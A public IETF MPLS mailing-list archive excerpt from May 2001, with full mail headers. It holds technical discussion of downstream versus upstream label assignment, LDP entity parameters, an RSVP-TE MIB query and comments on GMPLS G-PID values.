Received: by TLV1 with Internet Mail Service (5.5.2653.19)
	id <HFMMD49X>; Mon, 7 May 2001 16:25:37 +0200
Message-ID: <AF5018AC03D1D411ABB70002A5091326039D04@TLV1>
From: Sasha Vainshtein <Sasha@AXERRA.com>
To: "'Guangzhi Li'" <gli@research.att.com>, suchauhan@hss.hns.com
Cc: mpls@UU.NET
Subject: RE: a simple question!
Date: Mon, 7 May 2001 16:25:37 +0200 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

I see another reason: it makes support of the hop-by-hop forwarding
application 
(i.e., forwarding which follows the routes buit by the IGP) very easy.

______________________________________________
With best regards,
Sasha Vainshtein
mailto: sasha@axerra.com
phone: +972-3-7659993 (office)
fax:      +972-3-6487779 (office)


>>-----Original Message-----
>>From: Guangzhi Li [mailto:gli@research.att.com]
>>Sent: Monday, May 07, 2001 3:16 PM
>>To: suchauhan@hss.hns.com
>>Cc: mpls@UU.NET
>>Subject: Re: a simple question!
>>
>>
>>Hi,
>>
>>I can figure out one reason:
>>
>>(1) It is convenient to achieve LSP merging, i.e., to 
>>generate a destination
>>rooted tree.
>>
>>--- guangzhi
>>
>>suchauhan@hss.hns.com wrote:
>>
>>> hi!
>>>      why was downstream label assignment chosen in MPLS 
>>over upstream label
>>> assignment as is the case with generalised MPLS? Is there 
>>any specific
>>> advantage/constraint posed by the downstream label 
>>assignment method?
>>>
>>> regards
>>> sumit
>>



From owner-mpls@UU.NET  Mon May  7 09:56:16 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA12103
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 09:56:16 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknzj19725;
	Mon, 7 May 2001 13:55:12 GMT
Received: by mail-control.mail.uu.net 
	id QQknzj14818
	for mpls-outgoing; Mon, 7 May 2001 13:52:57 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknzj14763
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 13:52:31 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknzj14672
	for <mpls@uu.net>; Mon, 7 May 2001 13:51:23 GMT
Received: from sj-msg-core-2.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88])
	id QQknzj01821
	for <mpls@uu.net>; Mon, 7 May 2001 13:51:23 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f47Dppa09159
	for <mpls@uu.net>; Mon, 7 May 2001 06:51:51 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id JAA14285 for mpls@uu.net; Mon, 7 May 2001 09:51:21 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknyq04810
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 09:08:51 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknyq27588
	for <mpls@UU.NET>; Mon, 7 May 2001 09:08:48 GMT
Received: from mailgw.local.ipunplugged.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [213.88.134.217])
	id QQknyq27294
	for <mpls@UU.NET>; Mon, 7 May 2001 09:08:47 GMT
Received: from HANSPC (a27.local.ipunplugged.com [192.168.4.197])
	by mailgw.local.ipunplugged.com (8.9.3/8.9.3) with SMTP id LAA01388;
	Mon, 7 May 2001 11:09:33 +0200
From: "Hans Sj?strand" <hans@ipunplugged.com>
To: "Felix Chang" <mplszhz@263.net>, "mpls_maillist" <mpls@UU.NET>
Subject: RE: Parameters in LDP entity table
Date: Mon, 7 May 2001 11:07:28 +0200
Message-ID: <LOEHIHPCEGEDPKHAHPMMAEPCCDAA.hans@ipunplugged.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="gb2312"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <200105060758.f467wbR23445@noya.bupt.edu.cn>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

It's true that for many ATM or FR based interfaces uses the
encap from rfc3034 or rfc3035. It's also true that those use
per intreface label space. In that case you have several
entities. distribution and retention method isn't neccesary
the same over the label switch even though it's defently the
most common case.

from RFC 3037 LDP Applicability, section 3
   Downstream on Demand distribution with conservative label retention
   and ordered control is appropriate in situations where labels are a
   relatively scarce resource that must be conserved, and Downstream
   Unsolicited distribution with liberal label retention and independent
   control is appropriate where labels are plentiful and need not be
   carefully conserved.  However, the protocol permits other
   combinations of distribution method, label retention mode and control
   mode, including hybrid variants of them.

Regards
/// Hasse

> -----Original Message-----
> From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Felix Chang
> Sent: den 6 maj 2001 09:57
> To: mpls_maillist
> Subject: Parameters in LDP entity table
>
>
> hi,everyone
>
>       I am confused by some parameters in the LDP entity table.
>       Suppose there are several kinds of mpls-capable
> interfaces(eg.ATM-based, fr-based) in a LSR, it should use per
> interface label space. So it has several LDP entities. Is that
> right? In these entities, are the values of some parameters such
> as mplsLdpEntityLabelDistributionMethod,
> mplsLdpEntityLabelRetentionMode, the same?
>
>
>       Best regards!
>                         Felix Chang
>                           mplszhz@263.net



From owner-mpls@UU.NET  Mon May  7 10:15:37 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA12739
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 10:15:37 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknzk29097;
	Mon, 7 May 2001 14:13:21 GMT
Received: by mail-control.mail.uu.net 
	id QQknzk00989
	for mpls-outgoing; Mon, 7 May 2001 14:12:48 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknzk00767
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 14:12:35 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknzk17608
	for <mpls@UU.NET>; Mon, 7 May 2001 14:11:25 GMT
Received: from sandmail.sandburst.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQknzk08779
	for <mpls@UU.NET>; Mon, 7 May 2001 14:11:25 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id 382EF94006; Mon,  7 May 2001 10:11:17 -0400 (EDT)
Message-ID: <3AF6AD05.C380E7D6@sandburst.com>
Date: Mon, 07 May 2001 10:11:17 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: suchauhan@hss.hns.com
Cc: mpls@UU.NET
Subject: Re: a simple question!
References: <65256A45.0015B08F.00@sandesh.hss.hns.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Sumit,

    First of all, GMPLS defines extensions to MPLS signaling to allow
upstream label 'assignment' but the default mode is still downstream
allocation.  The extensions are provided to cover specific instances in
the general case where it is possible to gain significant optimization of
system behavior at little cost.  In these instances, use of extensions
will likely be the normal case - however, that is not the same as saying
that GMPLS somehow turns signaling around in general.

    The key reason for downstream label allocation is that - in choosing
between a downstream (which needs to interpret the labels it receives)
and an upstream (which only needs to write the label into the packet), we
(the MPLS working group) felt that it makes the most sense to allow the
device that has to interpret labels be the one that allocates them.  This
paradigm extends generally - in most cases even extending to behavior
'inside the box'.

    GMPLS, on the other hand, deals with a number of instances in which
there is no 'label' per-se.  For example, a TDM time slot, a lambda or a
physical fiber interface may stand in for a 'label'.  In these cases, the
usage of a 'label' are fairly well understood and the need to allow the
receiver to 'control' allocation of 'labels' does not exist.  In addition, it
is even possible that allowing the upstream device to assign the 'label'
lends a significant advantage.

    For example - if the upstream device needs to undergo a physical
re-alignment in order to use the 'assigned' label, and this alignment
process consumes some non-zero time, then there is a clear benefit
to be realized from allocating the corresponding 'label' at the upstream
device.  This would be the case, for instance, if a device uses some
technology (e.g. - perhaps twisted multi-laminate nano-technology)
to physically position a mirror or prism in the optical transmission path.

--
Eric Gray

You wrote:

> hi!
>      why was downstream label assignment chosen in MPLS over upstream label
> assignment as is the case with generalised MPLS? Is there any specific
> advantage/constraint posed by the downstream label assignment method?
>
> regards
> sumit



From owner-mpls@UU.NET  Mon May  7 10:40:36 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA13298
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 10:40:35 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknzm11145;
	Mon, 7 May 2001 14:39:26 GMT
Received: by mail-control.mail.uu.net 
	id QQknzm09882
	for mpls-outgoing; Mon, 7 May 2001 14:38:54 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknzm09867
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 14:38:48 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknzm06240
	for <mpls@UU.NET>; Mon, 7 May 2001 14:38:16 GMT
Received: from zcars0m9.nortelnetworks.com by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: h157s242a129n47.user.nortelnetworks.com [47.129.242.157])
	id QQknzm04078
	for <mpls@UU.NET>; Mon, 7 May 2001 14:38:15 GMT
Received: from zcars04f.ca.nortel.com by zcars0m9.nortelnetworks.com (SMI-8.6/SMI-SVR4)
	id KAA01019; Mon, 7 May 2001 10:38:11 -0400
Received: from zcard015.ca.nortel.com by zcars04f.ca.nortel.com;
          Mon, 7 May 2001 10:37:54 -0400
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <KF1G3J39>; Mon, 7 May 2001 10:37:58 -0400
Message-ID: <03E3E0690542D211A1490000F80836F4051EBE21@zcard00f.ca.nortel.com>
From: "Peter Ashwood-Smith" <petera@nortelnetworks.com>
To: "'suchauhan@hss.hns.com'" <suchauhan@hss.hns.com>, mpls@UU.NET
Subject: RE: a simple question!
Date: Mon, 7 May 2001 10:37:55 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C0D703.4DED87A0"
X-Orig: <petera@americasm01.nt.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0D703.4DED87A0
Content-Type: text/plain;
	charset="iso-8859-1"


Its strictly a performance thing. For pure optical switches it takes time to
position a mirror, bubble, tune a laser etc. If you allow for upstream label
assignment it means that by the time the signaling has arrived all the way
downstream, most of the data path is already in place. 

In 'traditional' MPLS the labels are in-band and programming the hardware to
use them is effectively instantaneous so a downstream mode seems more
rational since it is the downstream that really has to worry about the
availability of those labels.

Cheers,

Peter Ashwood-Smith 

	-----Original Message-----
	From:	suchauhan@hss.hns.com [SMTP:suchauhan@hss.hns.com]
	Sent:	Sunday, May 06, 2001 11:57 PM
	To:	mpls@UU.NET
	Subject:	a simple question!



	hi!
	     why was downstream label assignment chosen in MPLS over
upstream label
	assignment as is the case with generalised MPLS? Is there any
specific
	advantage/constraint posed by the downstream label assignment
method?

	regards
	sumit

	

------_=_NextPart_001_01C0D703.4DED87A0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.59">
<TITLE>RE: a simple question!</TITLE>
</HEAD>
<BODY>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">Its strictly a performance thing. For =
pure optical switches it takes time to position a mirror, bubble, tune =
a laser etc. If you allow for upstream label assignment it means that =
by the time the signaling has arrived all the way downstream, most of =
the data path is already in place. </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">In 'traditional' MPLS the labels are =
in-band and programming the hardware to use them is effectively =
instantaneous so a downstream mode seems more rational since it is the =
downstream that really has to worry about the availability of those =
labels.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Cheers,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Peter Ashwood-Smith </FONT>
</P>
<UL>
<P><A NAME=3D"_MailData"><FONT SIZE=3D2 FACE=3D"Arial">-----Original =
Message-----</FONT></A>
<BR><B><FONT SIZE=3D2 FACE=3D"Arial">From:&nbsp;&nbsp; =
suchauhan@hss.hns.com [SMTP:suchauhan@hss.hns.com]</FONT></B>
<BR><B><FONT SIZE=3D2 FACE=3D"Arial">Sent:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D2 FACE=3D"Arial">Sunday, May 06, 2001 11:57 PM</FONT>
<BR><B><FONT SIZE=3D2 =
FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D2 =
FACE=3D"Arial">mpls@UU.NET</FONT>
<BR><B><FONT SIZE=3D2 =
FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT>=
</B> <FONT SIZE=3D2 FACE=3D"Arial">a simple question!</FONT>
</P>
<BR>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">hi!</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp; why was =
downstream label assignment chosen in MPLS over upstream label</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">assignment as is the case with =
generalised MPLS? Is there any specific</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">advantage/constraint posed by the =
downstream label assignment method?</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">regards</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">sumit</FONT>
</P>

<P>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01C0D703.4DED87A0--


From owner-mpls@UU.NET  Mon May  7 10:42:13 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA13325
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 10:42:13 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknzm09425;
	Mon, 7 May 2001 14:41:49 GMT
Received: by mail-control.mail.uu.net 
	id QQknzm10154
	for mpls-outgoing; Mon, 7 May 2001 14:41:17 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknzm10094
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 14:41:04 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknzm05347
	for <mpls@UU.NET>; Mon, 7 May 2001 14:40:48 GMT
From: Giovanni.Zangrando@alcatel.it
Received: from tlvsdy.vim.tlt.alcatel.it by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: tlvsdy.vim.tlt.alcatel.it [194.243.74.244])
	id QQknzm15545
	for <mpls@UU.NET>; Mon, 7 May 2001 14:40:47 GMT
Received: from tlvhdk.netit.alcatel.it (tlvhgd.netit.alcatel.it [151.98.14.48])
	by tlvsdy.vim.tlt.alcatel.it (8.9.3+Sun/8.9.3) with ESMTP id QAA22000
	for <mpls@UU.NET>; Mon, 7 May 2001 16:41:13 +0200 (MET DST)
Received: from localhost (root@localhost)
	by tlvhdk.netit.alcatel.it (8.8.6 (PHNE_17135)/8.8.6) with SMTP id QAA16092
	for mpls@UU.NET; Mon, 7 May 2001 16:36:34 +0200 (METDST)
X-OpenMail-Hops: 1
Date: Mon, 7 May 2001 15:08:23 +0200
Message-Id: <H000071100b68139@MHS>
Subject: RSVP-TE MIB
MIME-Version: 1.0
TO: mpls@UU.NET
Content-Type: multipart/mixed; boundary="openmail-part-02b8f4d8-00000001"
Sender: owner-mpls@UU.NET
Precedence: bulk


--openmail-part-02b8f4d8-00000001
Content-Type: text/plain; charset=US-ASCII; name="BDY.TXT"
Content-Disposition: inline; filename="BDY.TXT"
Content-Transfer-Encoding: 7bit

Hi all,
I have a problem with RSVP-TE MIBs.
In fact while the functional aspects are addressed in 
draft-ietf-mpls-rsvp-lsp-tunnel, as far as I know the MIB to manage 
RSVP-extensions is still to be defined (the only available MIB is
RFC2206).

Please, does anybody knwow whether there is an ongoing activity
to define the RSVP-TE MIB?

Thanks in advance.

Best regards,
Giovanni Zangrando

_________________________________________
Giovanni Zangrando
OMSN System Engineer - R&D ALCATEL
E-mail: giovanni.zangrando@alcatel.it
Tel: +39 039 686 9132  Fax: +39 039 686 3590

--openmail-part-02b8f4d8-00000001--



From owner-mpls@UU.NET  Mon May  7 11:13:09 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA13991
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 11:13:09 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknzo25850;
	Mon, 7 May 2001 15:10:32 GMT
Received: by mail-control.mail.uu.net 
	id QQknzo19415
	for mpls-outgoing; Mon, 7 May 2001 15:09:58 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknzo19134
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 15:09:40 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknzo09668
	for <mpls@UU.NET>; Mon, 7 May 2001 15:08:14 GMT
Received: from gorilla.mchh.siemens.de by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: gorilla.mchh.siemens.de [194.138.158.18])
	id QQknzo26506
	for <mpls@UU.NET>; Mon, 7 May 2001 15:08:14 GMT
Received: from blues.mchh.siemens.de (mail2.mchh.siemens.de [194.138.158.227])
	by gorilla.mchh.siemens.de (8.9.3/8.9.3) with ESMTP id RAA02087;
	Mon, 7 May 2001 17:08:09 +0200 (MET DST)
Received: from mchh246e.demchh201e.icn.siemens.de ([139.21.200.56])
	by blues.mchh.siemens.de (8.9.1/8.9.1) with ESMTP id RAA29105;
	Mon, 7 May 2001 17:08:09 +0200 (MET DST)
Received: by MCHH246E with Internet Mail Service (5.5.2653.19)
	id <KGR5NNBG>; Mon, 7 May 2001 17:08:09 +0200
Message-ID: <AFC76835727DD211A7C20008C71EAF1E0229166D@MCHH230E>
From: Heiles Juergen <Juergen.Heiles@icn.siemens.de>
To: mpls@UU.NET, ccamp@ops.ietf.org
Subject: Comments on G-PID
Date: Mon, 7 May 2001 17:08:01 +0200 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

I have several comments on the G-PID defintion in draft-ietf-mpls-generalized-signaling-04.txt.

Juergen



The G-PID not only identifies the payload type of a LSP, it also identifies the specific mapping method if several mapping methods exist for the same paylaod type into one LSP. This should be reflected in the G-PID intorduciton text
"An identifier of the payload carried by an LSP (client layer of that LSP) and if necessary of the mapping method used for this payload."

Moreover the G-PID makes only sense in the context of the specific LSP type and technology. As already a technology specific document is introduce for SONET/SDH it would make more sense to move the G-PID to the technology specific documents. That would make it a lot easier to maintain the G-pid values and documents. As the G-PID is always related to a specific LSP type/technology it is not necessary to assign unique numbers for all paylaod and mapping types. The same value can be reused with tidfferent LSP types/technologies. If a new technology is introduced in the future (e.g. G.709) with a new ID, the specific G-PIDs for this technology can also be defined as part of the ID and no update to the main document is required.

Now to the detailed comments:
The follwoing G-PIDs have to be removed as they are not defined:
            8     Bit synchronous mapping of E3
            9     Byte synchronous mapping of E3
           12     Byte synchronous mapping of DS2/T2

As the VC type in which a payload is carried is defined by the LSP signal type itself it is not necessary to indicate it in additon in the G-PID. The following G-PIDs have to be removed therefore:
           19     Same as 12 but in a VC-12
           20     Same as 13 but in a VC-12
           21     Same as 14 but in a VC-12

SONET and SDH uses the same payloads and mapping schemes. It is therefore possible to use the same G-PID values for SONET and SDH and remove some of the duplicated values. Furthermore additional mappings have to be added (e.g. FDDI, DQDB, GFP, transparent PDH signals):
The whole set of SONET/SDH G-PIDs:
                Asynchronous mapping of E4 PDH framed
                Asynchronous mapping of E4 SDH framed
                Asynchronous mapping of E4 transparent
                Asynchronous mapping of DS3 M23
                Asynchronous mapping of DS3 C-Bit Parity
                Asynchronous mapping of DS3 transparent
                Asynchronous mapping of E3 PDH framed 
                Asynchronous mapping of E3 SDH framed 
                Asynchronous mapping of E3 transparent 
                Asynchronous mapping of DS2/T2
                Bit synchronous mapping of DS2/T2
                Asynchronous mapping of E1 framed
                Asynchronous mapping of E1 transparent
                Byte synchronous mapping of E1 framed
                Byte synchronous mapping of 31 * 64kbit/s
                Asynchronous mapping of DS1/T1 SF
                Asynchronous mapping of DS1/T1 ESF
                Asynchronous mapping of DS1/T1 transparent
                Bit synchronous mapping of DS1/T1 SF
                Bit synchronous mapping of DS1/T1 ESF
                Bit synchronous mapping of DS1/T1 transparent
                Byte synchronous mapping of DS1/T1 SF
                Byte synchronous mapping of DS1/T1 ESF
                VTG/TUG  
                STS Group/AUG
                POS - No Scrambling, 16 bit CRC
                POS - No Scrambling, 32 bit CRC
                POS - Scrambling, 16 bit CRC
                POS - Scrambling, 32 bit CRC
                ATM mapping
                FDDI mapping
                DQDB mapping
                GFP mapping
                LAPS IP (X.85)
                LAPS Ethernet (X.86)
                SDL, set-reset scrambler
                SDL, self-synchronizing scrambler
                O.181 test signal

Under the ANSI-PDH types DS3 M23 and DS3 C-Bit are listed. However as DS3 is at the bottom of the ANSI PDH hierachy it cannot be payload of an PDH LSP, only of a SONET/SDH and this is already defined. As I assume that no one will setup PDH LSPs the ANSI-PDH technology should be removed completley. The mapping into SONET/SDH is covered under SONET/SDH technology.


The G-PIDs

           33     Ethernet                               Lambda, Fiber specific
           34     SDH                                    Lambda, Fiber    "
           35     SONET                                  Lambda, Fiber    "
           36     Digital Wrapper                        Lambda, Fiber    "
           37     Lambda                                 Fiber            "
are not very specific as one doesn't get information on the specific signal (e.g. STM-64, STS-48, wavelenghts of the lambda signal). So how usefull are these values compared to unknown?
"Digital Wrapper" should be removed. ITU defines in G.709 the OTH, however the OTH consits of several network layers (ODU, OTU, OCH, OMS, OTS) with a multi-wavelength signal at the bottom. The assignment of G.709 G-PIDS shouldbe done in a G.709 specific ID.
                




From owner-mpls@UU.NET  Mon May  7 11:19:33 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA14113
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 11:19:32 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknzp07392;
	Mon, 7 May 2001 15:18:00 GMT
Received: by mail-control.mail.uu.net 
	id QQknzp24934
	for mpls-outgoing; Mon, 7 May 2001 15:17:24 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknzp24884
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 15:17:15 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknzp15306
	for <mpls@uu.net>; Mon, 7 May 2001 15:16:50 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQknzp05566
	for <mpls@uu.net>; Mon, 7 May 2001 15:16:50 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id LAA20643 for mpls@uu.net; Mon, 7 May 2001 11:16:50 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknzp24513
	for <mpls@mail-control.mail.uu.net>; Mon, 7 May 2001 15:16:14 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknzo21513
	for <mpls@UU.NET>; Mon, 7 May 2001 15:13:40 GMT
Received: from rtp-msg-core-1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: rtp-msg-core-1.cisco.com [161.44.11.97])
	id QQknzo00851
	for <mpls@UU.NET>; Mon, 7 May 2001 15:13:39 GMT
Received: from bucket.cisco.com (bucket.cisco.com [161.44.131.26])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f47FCVm03805;
	Mon, 7 May 2001 11:12:31 -0400 (EDT)
Received: from TNADEAU-PC02.cisco.com (tnadeau-frame2.cisco.com [10.84.75.67])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id AAC01672;
	Mon, 7 May 2001 11:13:37 -0400 (EDT)
Message-Id: <4.3.2.7.2.20010507111551.019e3c58@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 07 May 2001 11:16:28 -0400
To: Giovanni.Zangrando@alcatel.it, mpls@UU.NET
From: "Thomas D. Nadeau" <tnadeau@cisco.com>
Subject: Re: RSVP-TE MIB
In-Reply-To: <H000071100b68139@MHS>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk


         Try the MPLS-TE-MIB at:

http://www.ietf.org/internet-drafts/draft-ietf-mpls-lsr-mib-07.txt

         --Tom


>I have a problem with RSVP-TE MIBs.
>In fact while the functional aspects are addressed in
>draft-ietf-mpls-rsvp-lsp-tunnel, as far as I know the MIB to manage
>RSVP-extensions is still to be defined (the only available MIB is
>RFC2206).
>
>Please, does anybody knwow whether there is an ongoing activity
>to define the RSVP-TE MIB?
>
>Thanks in advance.
>
>Best regards,
>Giovanni Zangrando
>
>_________________________________________
>Giovanni Zangrando
>OMSN System Engineer - R&D ALCATEL
>E-mail: giovanni.zangrando@alcatel.it
>Tel: +39 039 686 9132  Fax: +39 039 686 3590



From owner-mpls@UU.NET  Mon May  7 11:44:10 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA14706
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 11:44:10 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknzq14174;
	Mon, 7 May 2001 15:43:06 GMT
Received: by mail-control.mail.uu.net 
	id QQknzq06535
	for mpls-outgoing; Mon, 7 May 2001 15:42:27 GMT
